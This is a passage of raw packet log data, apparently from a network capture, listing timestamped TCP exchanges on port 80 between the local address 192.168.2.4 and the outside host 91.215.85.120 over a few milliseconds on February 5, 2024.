Feb 5, 2024 10:57:24.230591059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230604887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230607986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230623960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230623960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230637074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230642080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230658054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230662107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230675936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230679989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230694056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230698109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230710030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230715990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230732918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230739117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230752945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230762959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230771065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230777979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230789900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230796099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230808973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230819941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230824947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230837107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230844021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230854034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230860949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230870008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230878115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230885983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230895996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230904102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230920076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230921984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230938911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230938911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230952978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230957985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230972052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230976105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.230992079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.230995893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231009960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231014967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231028080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231033087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231049061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231051922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231065989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231072903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231086969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231091976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231107950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231111050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231126070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231129885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231143951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231148958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231163979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231168032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231180906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231185913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231201887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231203079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231216908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231221914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231235027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231250048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231264114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231266975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231281042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231286049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231301069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231303930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231317997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231322050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231334925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231340885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231355906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231359959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231374979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231378078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231393099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231396914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231411934 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231415033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231434107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231451035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231453896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231467962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231472015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231487989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231506109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231508970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231520891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231524944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231542110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231544971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231560946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231566906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231579065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231583118 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231597900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231599092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231616020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231621027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231635094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231636047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231653929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231653929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231673002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231674910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231692076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231693029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231713057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231714010 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231730938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231730938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231750011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231751919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231767893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231771946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231786013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231786966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231802940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231803894 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231822014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231822968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231842041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231842041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231856108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231861115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231873989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231879950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231892109 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231897116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231915951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231916904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231930017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231934071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231946945 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231952906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231970072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231971025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.231985092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.231988907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232003927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232007027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232022047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232026100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232039928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232043982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232059002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232063055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232078075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232080936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232096910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232100010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232112885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232117891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232134104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232136965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232152939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232156038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232171059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232176065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232188940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232193947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232208967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232213020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232225895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232235909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232250929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232254982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232269049 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232273102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232287884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232292891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232305050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232311010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232326031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232330084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232345104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232347965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232362032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232367039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232382059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232387066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232400894 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232404947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232419014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232424021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232438087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232441902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232455969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232460976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232475996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232477903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232495070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232497931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232515097 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232517004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232531071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232537031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232552052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232556105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232570887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232574940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232588053 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232593060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232609034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232611895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232630968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232631922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232649088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232650042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232664108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232667923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232682943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232687950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232701063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232707024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232721090 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232726097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232739925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232743979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232759953 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232764959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232779026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232784033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232798100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232803106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232815981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232820988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232835054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232840061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232848883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232858896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232872009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232875109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232892990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232896090 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232911110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232928991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232929945 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232948065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232955933 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232965946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.232980013 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.232985020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233001947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233002901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233019114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233021021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233038902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233047962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233056068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233072042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233076096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233091116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233100891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233109951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233125925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233125925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233134985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233144999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233160019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233163118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233181000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233181953 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233198881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233206034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233217955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233222008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233236074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233237982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233256102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233257055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233270884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233275890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233289957 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233294010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233309031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233313084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233326912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233330965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233347893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233352900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233367920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233371973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233387947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233393908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233405113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233412981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233426094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233432055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233443975 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233450890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233464003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233469009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233483076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233486891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233501911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233505964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233519077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233524084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233537912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233542919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233557940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233563900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233577013 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233584881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233597040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233603001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233618021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233619928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233634949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233638048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233652115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233656883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233668089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233680964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233688116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233700991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233716011 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233719110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233732939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233737946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233750105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233756065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233771086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233773947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233789921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233793020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233805895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.233810902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.233829021 CET	80	49735	91.215.85.120	192.168.2.4
